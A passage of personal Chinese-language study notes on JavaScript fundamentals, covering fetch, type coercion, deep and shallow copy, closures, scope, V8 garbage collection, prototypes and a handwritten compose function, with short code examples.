requestStart\nDNS缓存时间：domainLookupStart - fetchStart\n卸载页面的时间: unloadEventEnd - unloadEventStart\nrequest请求耗费时间（重定向）：redirectEnd - redirectStart\n解析DOM树耗费的时间：domComplete - responseEnd\n白屏时间：domLoading - fetchStart\n用户可交互时间：domContentLoadedEventEnd - fetchStart\n前一个页面卸载耗费的时间：unloadEventEnd - unloadEventStart\nonload回调函数的执行时间：loadEventEnd - loadEventStart\n用户等待页面完全可用时间（页面加载完成）：oadEventEnd - navigationStart\ncookie\ncookie默认是临时的，浏览器关闭进程就会自动销毁，并且cookie是纯文本\n通过document.cookie = “xxx\"来修改cookie\ncookie存储大小限制在4kb\nFetch api允许在JavaScript发起http请求和响应，使用Promise\nfetch('https://api.github.com/')\r.then(response =\u003e response.json())\r.then(data =\u003e console.log(data))\r.catch(err =\u003e console.log('Request Failed', err))\r可以看到fetch接收一个url参数，并且具备then和catch方法，并且response接收到数据是stream对象，并且将这个stream对象转换为json对象\nfetch只有当网络故障或者请求被阻止时才报错，因此不管是否请求成功（例如404或者502）\nresponse对象还有一些属性，例如response.ok（表示是否请求成功，http状态码在200-299的范围时），response.status（http状态码），response.url（请求的url，如果有跳转，那么该属性值为最终的请求地址），response.redirected（请求是否发送跳转），response.headers（请求头）等等\n例如： async function getData(url = “\",data={}){ const response = await fetch(url, { method: ‘GET’, headers: { “Content-type”: “application/x-www-form-urlencoded”, }, }) return response.json() } getData(‘https://api.github.com/') .then(data =\u003e { console.log(data) })\n基础类型存储在栈内存中，在引用或者拷贝时，创建一个完全相等的变量\n引用类型存储在堆内存中，存储的是内存地址，多个引用可以指向同一个地址（内存共享）（return会改变引用的地址）\n类型检测\ntypeof（不能用来检测null类型，null不是object类型，另外object类型除了function可以检测出来外，其他都是objet，因此typeof可以检测基础类型以及function，其他类型就不适合了））\ninstanceof（不能正确判断基础数据类型，但是可以判断引用类型）\n在不知道数据类型的情况下做数据类型判断，可以先用typeof abc !==‘object’ || abc !==null筛选出基础类型（null除外，如果是null直接返回null），如果是基础类型直接用typeof获取数据类型，如果不是再用instanceof判断引用类型\nObject.prototype.toString（该方法可以返回某值的数据类型，返回值类型是字符串，格式统一为[object 数据类型]），如果不想要object，只要后面的数据类型，只需要将返回值进行正则一下就是可以了（replace(/^[object(\\S+)]$/, ‘$1’)）\nfunction a(){\rconsole.log(\"hallo\")\r}\rlet b = {\rname: \"abc\",\rpass: \"123\"\r}\rlet c = [1,3,5,7,9]\rlet d = new a\rlet e = 'hallo word'\rconsole.log(typeof a) // function\rconsole.log(typeof b) // object\rconsole.log(typeof c) // object\rconsole.log(a instanceof Function) // true\rconsole.log(b instanceof Object) // true\rconsole.log(c instanceof Array) // true\rconsole.log(d instanceof a) // true\rconsole.log(e instanceof String) // false\rconsole.log(Object.prototype.toString.call(null)) // [object Null]\rconsole.log(Object.prototype.toString.call(e)) // [object String]\r数据类型转换（显式类型转换（强制类型转换）和隐式类型转换（自动类型转换））\n强制类型转换方法：Number()，Boolean()，String()，parselnt()，toString()，parseFloat()\nNumber()规则：如果值是布尔值，true转1，false转0。如果是整数，返回自身。如果是null，返回0。如果是undefined，返回NaN。如果是字符串，包含整数，转换为十进制，包含浮点格式，转换浮点数，空字符串为0，其他情况均为NaN。如果是Symbol，抛出错误，如果是对象，调用该方法，如果返回值为NaN，调用其对象的valueOf()方法\nBoolean()规则：undefined，null，0，+0，-0，’’，false，NaN均为false，其他情况都为true\n隐式类型转换\n==：如果类型相同，不转换类型，如果有个值为null或者undefined，只有当另一个是null或者undefined，才返回true，否则都为false，如果有个值为Symbol类型，返回false。如果俩个值为Sting和Number类型，Sting类型的那个将转换为number类型，如果有值的类型为boolean，则转换为number，如果有值类型为object，另一个值为number，string或者symbol时，先将object转换为原始类型再判断\n传说中的console.log(abc==1 \u0026\u0026 abc==2 \u0026\u0026 abc==3)，就是利用了==的隐式类型转换规则，这个abc实质上是个对象，==隐式类型转换如果是对象，会先尝试将其转换为基础类型，如果不行会调用其valueOf()方法，而且这个valueOf()方法就是定义其返回值的，并且通过this获取当前被调用的返回值\nlet abc = {\rvalue: 0,\rvalueOf: function(){\rthis.value++\rreturn this.value\r}\r}\rconsole.log(abc==1 \u0026\u0026 abc==2 \u0026\u0026 abc==3)\r+：加号被用于数值相加和字符串拼接，如果两边值都是字符串，则直接拼接字符串。如果有个是字符串，另一个是unll，Boolean类型或者undefined时，调用toString()方法（该方法的返回值为字符串类型的），然后再进行字符串拼接。如果有个是数值，另一个是number类型，则进行加法处理，如果另一个是null，undefined，boolean则转换为number类型再加法处理。如果一个是number类型，另一个是string类型，则将number类型那个转换为string类型，然后再字符串拼接\nobject隐式转换规则：如果有Symbol.toPrimitive()方法，则优先调用该返回再返回，如果没有该方法，并且object不能转为基础类型，则自动调用valueOf()方法，如果该方法返回了基础类型，则返回，如果还是不行则调有toString()方法（实质上就是返回其字符串），如果能转换为基础类型，则返回，如果还是没有返回基础类型，则抛出错误\n浅拷贝：如果是基础类型，拷贝的是基础类型的值，如果是引用类型，拷贝的是内存中的地址，如果改变该引用类型的值，会影响使用了该内存地址的全部引用类型的值\nObject.assign()方法可以实现浅拷贝（不拷贝继承属性，不拷贝不可枚举属性，但是可以拷贝Symbol类型的对象）\n对象的不可枚举属性通过enumerable: false设置\nlet hallo = {}\rlet hi = {\rname: 'admin',\rpass: 'abc123'\r}\rObject.assign(hallo,hi)\rconsole.log(hallo)\rhi.name = 'xiaochen'\rconsole.log(hallo)\rconsole.log(hi)\r扩展运算符(…abc)\nlet hi = {\rname: 'admin',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \"hallo word\"\r}\r}\rlet hallo = { ...hi }\rconsole.log(hallo)\rconsole.log(hi)\rhi.name = 'user'\rconsole.log(hallo)\rconsole.log(hi)\rhi.data.id = 10\rconsole.log(hallo)\r扩展运算符，只有单层对象属性或者数组时，是深拷贝，修改其属性，不会影响到其他使用该对象的属性，如果是一层以上的数据时，会变成浅拷贝，只能影响一层以上的数据，在一层的数据不受影响\nconcat()方法（可用于浅拷贝数组）\nlet hallo = [2,4,5,6,7,8,9,12]\rlet hi = hallo.concat()\rconsole.log(hallo)\rconsole.log(hi)\rhi[0] = 66\rconsole.log(hallo)\rconsole.log(hi)\rslice()方法（可用于浅拷贝数组）\nlet hallo = [{data: 66},2,4,5,6,7,8,9]\rlet hi = hallo.slice()\rconsole.log(hallo)\rconsole.log(hi)\rhi[0].data = 123\rconsole.log(hallo)\rconsole.log(hi)\rObject.assign()（将所有可枚举属性的值从原有对象拷贝到目标对象中）\nlet obj = {\rname: 'xiaochen',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \"hallo word\"\r}\r}\rlet obja = Object.assign({},obj)\rconsole.log(obja)\r该方法缺陷就是只能拷贝可枚举的属性， 好处就是Symbol类型的属性可以被拷贝\n手写浅拷贝（通过传入目标对象参数，得到一个经过浅拷贝的对象）\nlet obj = {\rname: 'xiaochen',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \"hallo word\"\r}\r}\rlet objfu = (obj) =\u003e{\rif(typeof obj ==='object' \u0026\u0026 obj !== null){\r// 使用typeof判断obj参数是否是对象，并且还不是null\rlet obja = Array.isArray(obj)?[]:{} // 使用Array.isArray()判断obj是否是数组（是数组返回true，否则返回false），这里是一个三元表达式（为true时返回[]，为false时返回{}）\rfor(let i in obj){ // in关键字遍历obj的属性（或者数组）\rif(obj.hasOwnProperty(i)){ // hasOwnProperty方法可以判断该对象是否存在某个属性，存在则返回true，否则返回false\robja[i] = obj[i] // 判断存在后，将obj的属性拷贝到obja的属性中（浅拷贝），属性值和属性一一对应\r}\r}\rreturn obja\r}else{\rreturn obj\r}\r}\rconsole.log(objfu(obj))\rlet hhh = objfu(obj)\rhhh.data.id =66\rconsole.log(objfu(obj))\rconsole.log(hhh)\r深拷贝：创建一个新对象，然后复制原有的对象的基本类型值，其完全是在堆内存中创建新的内存地址，不受原有的对象的改动影响\nJSON.stringify()，通过生成一个json字符串，json字符串再转为新的对象\nlet obj = {\rname: 'xiaochen',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \"hallo word\"\r}\r}\rlet str = JSON.stringify(obj)\rlet obja = JSON.parse(str)\rconsole.log(obja)\robj.data.id = 66\rconsole.log(obja)\rconsole.log(obj)\r注意：如果对象中的值有函数，undefined，symbol类型，使用JSON.stringify()会导致json字符串中的这个键值对会消失，不能拷贝不可枚举属性，Data类型变成字符串，不能拷贝对象原型链，拷贝RegExp类型时会变成空对象，不能拷贝正则表达式，另外对象的属性值含有NaN，Infinity（Infinity表示无穷大），-Infinity（-Infinity表示负无穷大）时，JSON序列化后变成null，不能拷贝对象的循环应用（对象成环 ，obj[key] = obj）\n手写递归深拷贝\nlet obj = {\rname: 'xiaochen',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \"hallo word\"\r}\r}\rfunction objfu(obj) {\rlet obja = {}\rfor(let i in obj){\rif(typeof obj[i] ==='object'){\robja[i] = objfu(obj[i])\r}else{\robja[i] = obj[i]\r}\r}\rreturn obja\r}\rlet hhh = objfu(obj)\robj.data.id = 123\rconsole.log(hhh)\rconsole.log(obj)\r这个手写递归，依然不能复制不可枚举属性和symbol类型，而且只能对一些普通对象有效，像函数之类就没有效果了\n原型链继承的缺点是原型链是内存共享的，一个发生改变，其他继承同一个的，都会发生改变\n构造函数继承的缺点是只能继承父类的方法，属性，实例，不能继承原型的实例和方法\nnew关键词的作用：执行一个构造函数，并且返回一个实例对象，根据构造函数来确定是否可以接受参数的传递\nnew执行后必然返回一个对象，这个对象可以是实例对象，也可以是构造函数return返回的指定对象\n手写new\nfunction _new(funs,...args){\rif(typeof funs !=='function'){\rthrow \"no function\"\r}\rlet obj = new Object()\robj.__proto__ = Object.create(funs.prototype)\rlet res = funs.apply(obj,...args)\rlet isObj = typeof res === 'object' \u0026\u0026 typeof res !== null\rlet isFuns = typeof res === 'function'\rreturn isObj || isFuns ? res:obj\r} 闭包：利用作用域链特性，访问局部变量\nIIFE（立即执行函数）本身创建了闭包，保留了全局作用域和当前作用域\n什么是闭包？例如：\nfunction abc(){\rlet a = 666\rfunction xyz(){\rconsole.log(a)\r}\rreturn xyz\r}\rlet haha = abc()\rhaha()\r可以看到函数abc的返回值是xyz函数，变量haha被赋值abc函数，并且调用了xyz函数，神奇的获取到变量a的值\n关键点：xyz可以访问abc的作用域。在执行完毕abc函数，作用域并没有被销毁，而在垃圾回收中，只有被使用才不会被回收，在这里abc函数的作用域被xyz函数所使用，而且haha被调用时，执行的就是xyz函数，得到abc函数的整个定义时的词法作用域\n简单的说就是，利用作用域链（这个特指函数作用域，函数作用域具备遮蔽性），内部作用域可以获取外部作用域的变量，只有当内部作用域拥有访问整个外部作用域时，内部作用域在某个时刻被调用了，自然可以访问到外部的定义时的词法作用域，利用这个特性，内部作用域只要能在定义时词法作用域之外的地方调用，就可以实现闭包，从而访问外部定义时的词法作用域\n除了通过返回值外，还可以在定义时调用外部函数，外部函数再调用具备外部词法作用域访问能力的内部函数，也可以访问到这个定义时词法作用域，例如：\nfunction abc(){\rlet a = 666\rfunction xyz(){\rconsole.log(a)\r}\rhaha(xyz)\r}\rfunction haha(funs){\rfuns()\r}\rabc()\r闭包会导致内存溢出\n数组\nArray数组构造器\nlet arr = Array(3)\n当Array构造器的参数长度为0或者大于等于2时，传入的参数按顺序变成新数组的元素（参数长度为0，返回空数组）\n当Array构造器存在1个数值参数时，这个参数最大不能超过2的32次方\nArray.of()方法可以将参数按照顺序变成数组的元素，然后返回这个新数组，这个参数可以是数值（而且不会被用来创建指定长度的数组）\nArray.from()方法有3个参数，类似于数组的对象，加工函数，this作用域（加工函数中this的指向）\nlet arr = {\r0:'abc',\r1: 'xyz',\r2: 'hallo word',\rlength: 3\r}\rlet abc = Array.from(arr,function(value,index){\rconsole.log(value,index,this)\rreturn value.repeat(3)\r},arr)\rconsole.log(abc)\rArray.isArray方法可以判断是否是数组\n类数组的对象（和数组类似，但是没有数组的方法）：函数的arguments，HTMLCollection，NodeList\n类数组转真数组：\nlet abc = {\r0: 'hhh',\r1: 'bbb',\r2: 'abc',\rlength: 3\r}\rconsole.log(abc)\rlet a = Array.from(abc)\rconsole.log(a)\rlet b = Array.prototype.concat.apply([], abc)\rconsole.log(b)\rlet c = Array.prototype.slice.call(abc)\rconsole.log(c)\r数组扁平化（将一个多维数组转换为只有一层的数组）\n通过递归实现，只要元素还是个数组，就进行递归操作\n通过reduce函数迭代\n通过扩展运算符实现\n通过toString().split(’,’)实现\n通过flat()方法实现\n例如：\nlet arr = [2,[3,5,6,10,[1,2,3],56,88],44,66]\rfunction arrData(arr){\rreturn arr.flat(Infinity)\r}\rconsole.log(arrData(arr)) // [2, 3, 5, 6, 10, 1, 2, 3, 56, 88, 44, 66]\r通过JSON.stringify()和正则实现（先将数组转换为json字符串，然后通过正则(/([|])/g）过滤掉[]，得到的字符串再通过JSON.parst()转换回\nv8引擎垃圾回收\n基础类型使用栈内存（按值访问），可以使用操作系统进行处理，而引用类型的堆内存需要经常变化（使用引用内存地址访问），大小不固定，需要使用垃圾回收机制来处理\nSting和Number和Boolean和null和undefined和Symbol类型的变量将存储于栈内存，其他类型都存储于堆内存中\nv8引擎的堆内存分为2类，新生代内存和老生代内存\n在64位操作系统中，新生代内存空间为32MB\n新生代中的变量经过一次Scavenge算法回收后，就可以被放入老生代内存中\nScavenge算法将新生代内存分为from-space和to-space两个区域\n新生代内存中变量先存储在from-space区，存活的变量将转移到to-space区域，然后将那些在from-space区中不活跃的变量清除释放，执行完毕，再to-space和from-space互换\n老生代内存垃圾回收机制，Mark-Sweep（标记清除）和Mark-Compact（标记整理）\nMark-Sweep（标记清除）：先遍历堆上所有对象，并且打上标记，在代码执行完成后，对使用过的变量进行标记取消，而且存在标记的变量就是没有使用过的变量，将这些变量进行垃圾回收\nMark-Compact（标记整理）：（解决标记清除机制的内存碎片化的影响）将内存空间往一端靠拢，直接清除边界外的内存\n内存泄露：已经分配堆内存地址的对象长时间没有释放或者无法释放，造成内存长期占用，导致应用响应变慢或者崩溃的情况\n内存泄露优化：减少全局变量，使用完定时器后及时清除定时器，避免死循环\n将一个强引用类型赋值为null，并不会直接导致其被GC，而是解除其引用，方便下次GC能回收它\n解决因闭包导致的内存泄露，在不使用一个闭包函数时，应该手动将其引用变量设置为null，解除引用\nV8引擎执行JavaScript程序的阶段（因为v8使用了java虚拟机，c++编译器的技术，使JavaScript执行存在编译器）\nParse阶段：将JavaScript代码转换为AST（抽象语法树）\nIgnition阶段：解释器将AST转换为字节码，然后解析执行字节码，并且提供编译所需要的信息\nTurboFan阶段：编译器使用Ignition阶段的编译信息，将字节码转换为可执行的机器码\nOrinoco阶段：垃圾回收阶段，将不使用的内存空间进行垃圾回收\n生成AST有两个阶段，词法分析和语法分析\n词法分析阶段会将JavaScript代码解析拆成不能再分的词法单元（token），直接忽略空格\n语法分析阶段将词法单元转换为由元素逐级嵌套而成的语法结构树，这个树叫抽象语法树\nJavaScript借用方法（重用其他对象的方法和函数，无需从该对象继承）\n例如一个类数组（类数组并没有数组的方法），借用数组的方法，通过call()，apply()和bind()方法实现\nlet arrObj = {\r0:'abc',\r1: 'xyz',\r2: 'hallo word',\rlength: 3\r}\rlet arr1 = Array.prototype.join.bind(arrObj,',')\rlet arr2 = Array.prototype.pop.call(arrObj)\rlet arr3 = Array.prototype.push.apply(arrObj,['hhh'])\rconsole.log(arr1())\rconsole.log(arr2)\rconsole.log(arr3)\rconsole.log(arrObj)\r从Array.prototype可以看到这些方法是在类型的原型上定义的，当然其他自定义方法也是可以通过对象.方法的方式借用\n通过字面量（Literals）实现\n在JavaScript中，使用字面量可以代表值。它们是固定值，不是变量，就是在脚本中按字面给出的。\nlet arrObj = {\r0:'abc',\r1: 'xyz',\r2: 'hallo word',\rlength: 3\r}\rlet arr1 = [].join.bind(arrObj,',')\rconsole.log(arr1())\r[]表示Array.prototype，还有’‘表示stringObject\ncreateDocumentFragment \u0026\u0026 requestAnimationFrame渲染大量\ndocument.createDocumentFragment()会返回一个DocumentFragment对象，这个对象是DOM节点，但又不是主DOM树的一部分，其是用于创建文档片段，文档片段在内存中，将元素插入文档片段不会导致回流，而且文档片段是直接附加在主DOM树上\nwindow.requestAnimationFrame()，该方法会在浏览器的重绘之前执行一个回调函数\nDocumentFragment对象是一个没有父对象的文档对象，DocumentFragment和document区别就是DocumentFragment不是真实DOM树的一部分，但是它可以挂载在真实DOM树上\n实现渲染10000条div数据\nlet count = 0\rfunction callback(){\rconst nums = 10000 // 一共插入10000条\rconst num = 100 // 一次插入100条\rlet loop = Math.ceil(nums / num) // 计算需要执行多少次\rconst app = document.querySelector(\"#app\")\rconst data = 'hallo word'\rconst vmDOM = document.createDocumentFragment()\rfor (let i = 0; i \u003c num; i++) {\rconst div = document.createElement(\"div\")\rdiv.innerHTML = data\rvmDOM.appendChild(div)\r}\rapp.appendChild(vmDOM)\rcount++\rif (count \u003c loop) {\rwindow.requestAnimationFrame(callback)\r}\r}\rcallback()\rdocument.createDocumentFragment()和直接操作DOM，测试结果说明并不是每操作一次dom都会导致渲染，而且是将短时间的dom操作合并在一起，然后统一渲染，操作10000次DOM，并不会触发10000次渲染，而是在一定的时间内的多次操作合并成一次操作，并且在一定的时间内执行该操作，最后渲染，这得益于现代浏览器的优化\nPromise/A+规范\nPromise有很多规范，ES6使用的就是Promise A+规范\nPromise A+规范：\nPromise是具备then方法的对象或者函数\nPromise需要存在3个状态：等待态（pending），成功态（fulfilled），失败态（rejected）\n并且Promise初始状态为等待（pending），在等待态（pending）状态时可以转为成功态（fulfilled）或者失败态（rejected）其中之一\n当处于成功态（fulfilled）时，不能改变其状态，还需具备一个不可改变的返回值（value）\n当处于失败态（rejected）时，也不能改变其状态，还需具备一个不可改变的返回原因（reason）\n需要提供then()方法来返回成功的结果或者失败的原因（传入2个可选参数，onFulfilled和onRejected，如果是函数的话，会在Promise执行完毕后调用，如果不是函数的话会忽略，onFulfilled和onRejected都只能被调用一次）\n当处于成功态（fulfilled）之后，执行onFulfilled，返回value，当处于失败态（rejected）之后，执行onRejected，返回reason\nthen()可在同一个Promise被多次调用，then()必须返回一个promise对象\n手写Promise\nJavaScript引擎（例如v8）可以让JavaScript符合了一些编译语言的特点（词法分析/分词，语法分析/解析，编译转换）（虽然不是提前编译执行）\n词法分析/分词(Tokenizing/Lexing)：将程序源代码分成一个个的词法单元（token），而词法分析就是将源代码转换为词法单元，具体通过符号表来确定是变量还是函数什么的\n语法分析/解析：将词法单元流转换为抽象语法树（AST, Abstract Syntax Tree）,这个抽象树表示了整个程序的语法结构\n注意：并不是词法分析器获取完全部的词法单元后在再进行语法分析的，而是先获取一个词法单元后直接进行语法分析\n编译转换：将AST语法树转换为可执行的机器码（引擎可根据语法树一边编译一边执行）\n一边编译一边执行有个缺点，当某段代码频繁执行时（例如函数）就会导致重复编译（提前编译的可以在执行前就是处理好），因此添加了一种叫JIT（Just-in-time，即时编译）\nJIT在JavaScript引擎中添加了一个监视器，可观察运行的代码，并且记录每段代码的运行次数和变量的类型\n当某段代码执行了多次，监视器就会给这段代码标识为Warm，如果是执行很多次的话，会标识为Hot\n当某段代码被标识为Warm后，JIT将其发送给基线编译器（Baseline compiler）编译，并且将编译结果存储起来，并且以行号，变量类型作为索引，当执行了符合索引的代码时，直接执行之前编译的代码，不需要重复编译\n当某段代码被标识为Hot后，JIT将其发送给优化编译器（Optimizing compiler）编译优化，是通过假设（根据概率模型）变量类型（当存在多个假设时（如果只有一个假设时，直接执行对应的编译结果），会在执行前进行类型检查，来证明假设，如果假设不成立，会导致反优化（将使用编译器或者基数编译器处理（假设多次失败实质比直接编译还慢，因此浏览器做出了限制，当出现多次优化失败时，会放弃处理这个）））\n作用域\n作用域是一套可以根据名称来查找变量的规则（每个作用域负责管理自己地方的变量），当多重嵌套作用域时，会形成作用域链，在当前作用域中查找不到，会向上一级查找，一直查找到全局作用域，如果还是没有找到就是报错\nLHS查询和RHS查询\nLHS查询是获取变量的实质内存（赋值操作，例如let a = 123），RHS查询是获取变量的值（例如console.log(a)，这个就是RHS查询）\n注意：函数传递参数也是LHS查询，只不过变量变成函数的参数而已，而且当作用域链找不到LHS查询的目标时，作用域会创建一个同名的变量到全局作用域中（隐式创建变量，前提是要在非严格模式中）\n在作用域链中，当前作用域的RHS查询或者LHS查询任务完不成，是可以到上一级作用域中完成的\n词法作用域\n作用域有两种，词法作用域和动态作用域，在JavaScript中的作用域就是词法作用域，虽然JavaScript没有动态作用域，但是可以用this来实现相似的效果\n词法作用域就是在词法分析/分词阶段的作用域，一般情况下词法作用域在定义后是不会改变的（有个例外是，欺骗词法作用域，例如利用eval或者with欺骗）\n函数的词法作用域是由函数被定义时所处的位置决定，不会被函数如何调用，在哪调用而影响\n由于作用域查找会在找到第一个目标时会停止的特性，在多重嵌套作用域环境下，其他和目标同名的会被遮蔽找不到，除了全局对象外（全局作用域下的变量会自动变成全局对象的属性（例如window.abc）,可以通过查找全局对象属性来访问到被遮蔽的变量），其他被遮蔽的无论如何都访问不了\n欺骗词法作用域\neval()允许接收一个字符串作为其参数，并且执行，例如\nfunction abc(str,b){\reval(str)\rconsole.log(a,b)\r}\rvar a = 123\rabc(\"var a = 666\",100) // 666 100\r这里利用eval()传递并且执行了\"var a = 666\"到abc()函数中，改变了该函数的词法作用域，同时遮蔽了全局作用域中的a变量，这个前提是在非严格模式中，因为在严格模式中eval()在运行时会拥有自己的作用域，导致无法修改其所在的作用域\nwith()可以扩展语句的作用域链（注意：在ES5严格模式中，with被完全禁用了）\nlet abc ={\ra: 123,\rb: 666\r}\rwith(abc){\ra = 666\rb = 123\r}\rwith()可以将对象处理成词法作用域，在with内部中对象的属性也会变成这个词法作用域的词法标识符，从而改变原来的词法作用域，例如：\nlet abc ={\ra: 123,\rb: 666\r}\rfunction xyz(obj){\rwith(obj){\ra = 666\rb = 123\r}\r}\rxyz(abc)\rconsole.log(abc.a,abc.b)\r函数作用域（函数会为其创建一个它私有的作用域）\n在函数中定义的变量将成为其词法作用域中的标识符，无法在外部作用域中获取，在多重嵌套作用域中，外部作用域定义的变量，可以在内部作用域访问，但是外部作用域无法访问内部作用域\n函数作用域可以用于隐藏自身不影响外部，因此也可以避免污染外部环境（命名冲突）\nIIFE（立即执行函数表达式）\n由于正常的函数名也会污染外部环境，因此可使用IIFE解决，当不需要函数名时，这玩意很有用（就算有函数名也不会污染外部）\n有两种编写方式，分别是(function abc(){})()和(function abc(){}())\n(function abc( funs ) {\rlet xyz = {\ra: 123\r}\rfuns(xyz)\r})(function funs(xyz) {\rlet a = 666\rconsole.log(a)\rconsole.log(xyz.a)\r})\r块作用域\n在let出现之前，可以使用try/catch创建块作用域，其声明的变量只能在catch语句块中使用，例如：\ntry{\rthrow undefined // 手动制造异常\r}catch(a){\ra = 123\rconsole.log(a)\r}\rconsole.log(a) // a is not defined\rlet关键字可以将变量隐式绑定到其所在的块作用域中（{…}内部），只有其作用域内部可以访问，在外部访问会报错，使用let定义的变量是属于一个全新的作用域，而不是当前的函数作用域或者全局作用域，除let关键字外，还有const关键字也可以，只不过const定义的是常量，在定义后不能修改（修改导致报错）\n对象\n对象可通过new Object()定义，也可以通过键值对来定义\nlet obj = new Object()\robj.key = \"hallo\"\rlet obj1 = { key: \"hallo\"}\r注意：null不是对象，因为JavaScript会将二进制前三位为0的变量判断为object类型，而null的二进制表示全为0，因此使用typeof判断值为null的变量的类型，会返回object\n000开头是对象，1开头是整数，010是浮点数，100是字符串，110是布尔\n注意：基础类型并不是对象，例如\"hallo word\"是字符串字面量，并不能直接修改值或者访问属性，但是JavaScript会将字符串字面量自动转换为string对象，但是这并不代表基础类型就是对象，数值字面量也会被转换为number类型\n对象是引用类型，这表示其真实的值存储中内存中，而对象内部存储的不过是指针引入，指向存储了该值的内存\n数组对象，数组内部存储的位置是索引（整数）\n注意：给数组添加属性，不要使用纯数字的属性名，因为当使用纯数字的属性名，JavaScript会将其认为是索引，从而认为其是添加一个新值，而不是添加一个属性\n复制对象（深拷贝，浅拷贝）\n对象属性描述符（es5之后属性拥有了属性描述符，例如writable（是否可以修改属性的值），enumerable（可枚举）和 configurable（可设置））\n创建属性时属性描述符默认使用默认值\nlet Obj = {}\rObject.defineProperty( Obj, \"key\", { value: \"hallo word\", writable: true, // 可修改属性值\rconfigurable: true, // 可重新通过Object.defineProperty设置属性描述符\renumerable: true // 可被属性枚举，例如for in语句，如果为false，那么该属性不会出现在属性枚举中，例如in操作枚举\r});\r因此可通过writable，configurable设置为false，来创建常量属性\n设置对象不再可扩展新属性，可使用Object.preventExtensions()\nlet obj1 = { key: \"hallo\"}\rObject.preventExtensions(obj1)\robj1.nums = 666\rconsole.log(obj.nums) // undefined\r设置对象不再可扩展新属性并且不能修改现有属性的配置或者删除属性（可以修改属性值），可以使用Object.seal()\nlet obj1 = { key: \"hallo\"}\rObject.seal(obj1)\robj1.nums = 666\rconsole.log(obj.nums) // undefined\r当然也可以在Object.seal()基础上，禁止修改属性值，Object.freeze()\nlet obj1 = { key: \"hallo\"}\rObject.freeze(obj1)\robj1.key = \"hahaha\" // TypeError\r注意：在访问属性时，会在该对象中查找是否存在名字相同的属性，如果存在就返回该属性的值，如果没有找到就会触发原型链机制\n在设置属性时，会检查是否存在描述符，检查是否设置（writable），如果不可设置，在非严格模式下静默失败，在严格模式中抛出typeerror异常错误\ngetter和setter\n定义一个可获取属性值的方法（getter），定义一个可设置属性值的方法（setter）\nlet obj1 = { key: \"hallo\",\rget a(){\rreturn this.key\r},\rset b(abc){\rthis.key = abc\r}\r}\rconsole.log(obj1.a) // hallo\robj.b = \"hahaha\"\rconsole.log(obj1.a) // hahaha\r正确地判断属性是否存在，属性值可设置为undefined，并不一定是属性不存在导致返回的undefined,解决这种情况有2种方法，一个是通过in操作符（可通过原型链查找），另一个是通过Object.hasOwnProperty()，Object.hasOwnProperty()只检查该属性是否存在该对象中，例如：\nlet obj1 = {\rkey: 123\r}\r(\"key\" in obj1)\robj1.hasOwnProperty(\"key\")\r注意：hasOwnProperty方法是object对象的内置方法，如果没有链接到object原型链上的对象，是不能使用该方法的，只能通过借用方法来使用该方法，例如：Object.prototype.hasOwnProperty. call(obj1,“key”)\n检查该属性是否可枚举\nobj1.propertyIsEnumerable(\"key\") // 返回布尔值，检查该属性是否直接存在于对象中（并不在原型链中，并且可枚举）\rObject.keys(obj1) // 返回数组，该数组的元素为该对象全部可枚举属性\rObject.getOwnPropertyNames(obj1) // 返回数组，该数组的元素为该对象属性，不管是否可枚举，并不会返回原型链的属性，只返回该对象中直接包含的属性\r遍历数组（forEach()，every()，some()）\nforEach()遍历数组中全部值，并且忽略回调函数的返回值\nevery()运行到回调函数返回false\nsome()运行到回调函数返回true\nfor of()语句会向被遍历对象请求迭代器对象，然后通过迭代器对象的next()来遍历全部返回值\n类，继承，实例化\n类简单来说就是蓝图，而实例化就是根据蓝图建造出房子\n继承是指一个子类继承了一个父类的特性（属性以及方法都被继承，当然也可以重写属性和方法），父类和子类不存在直接关系，而且父类和子类的构造函数可通过prototype联系到\n方法的多态性（取决于在哪个类的实例使用它）\njs并不支持多态，多态（或者理解为重载）实质上就是重写父类的方法，然后通过不同的类实例化，引用不同类的实例下的同名方法\n在继承链中不同级别（子类，父类，祖先类）的同一个方法名可以被多次定义，调用的是哪个方法取决于是通过哪个类实例化出来的\n原型\n当获取一个对象的属性时，但是这个属性并不直接存在于该对象中时，就会访问对象的prototype链中，例如：\nlet obj = {\ra: \"hallo word\",\r};\rlet obj1 = Object.create(obj)\rconsole.log(obj1.a)\r上面例子中通过Object.create()创建来一个obj1.prototype可以连接到obj中的对象，哪怕obj1.a并没有在该对象中定义该属性，还是可以通过obj1.prototype获取到obj.a的属性值\n原型链查找的终点是Object.prototype，如果还是没有找到就返回undefined\n如果原型链底层中的对象存在原型链高层的相同属性名时，将会屏蔽高层的属性，因为原型链只获取最近的一个属性\nPWA，Progressive Web App（渐变式web应用），pwa技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\npwa可通过Service Worker来进行下载，打开pwa应用后，\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖于HTTPS通信\nmanifest.json：让web应用具备app的效果，例如logo，启动页面\n高阶函数（惰性函数/柯里化函数/compose组合函数）\nCompose（组合函数）\n组合函数顾名思义，就是将多个函数组合在一起，当一个函数的参数是另一个函数的返回值时，导致复杂的嵌套关系例如“funs(a(b(c)))”，而Compose可以做到调用函数的扁平化，例如：\nfunction compose(...funs){\rreturn function(...abc){\rif(funs.length === 0){\rreturn funs\r}\rif(funs.length === 1){\rreturn funs[0]\r}\rreturn funs.reduce(function(a,b){\rconsole.log(a)\rconsole.log(b)\rif(typeof a === \"function\"){\rreturn b(a(...abc))\r}else{\rreturn b(a)\r}\r})\r}\r}\rfunction a(x){\rreturn x + 100\r}\rfunction b(x){\rreturn x * 100\r}\rfunction c(x){\rreturn x - 100\r}\rfunction d(x){\rreturn x / 100\r}\rfunction e(x){\rreturn x % 100\r}\rlet abc = compose(a,b,c,d,e)(1000)\rlet xyz = compose(a)(1000)\rlet hhh = compose(a,b)(1000)\rconsole.log(xyz)\rconsole.log(hhh)\rconsole.log(abc)\rconsole.log(a(b(c(d(e(1000)))))) 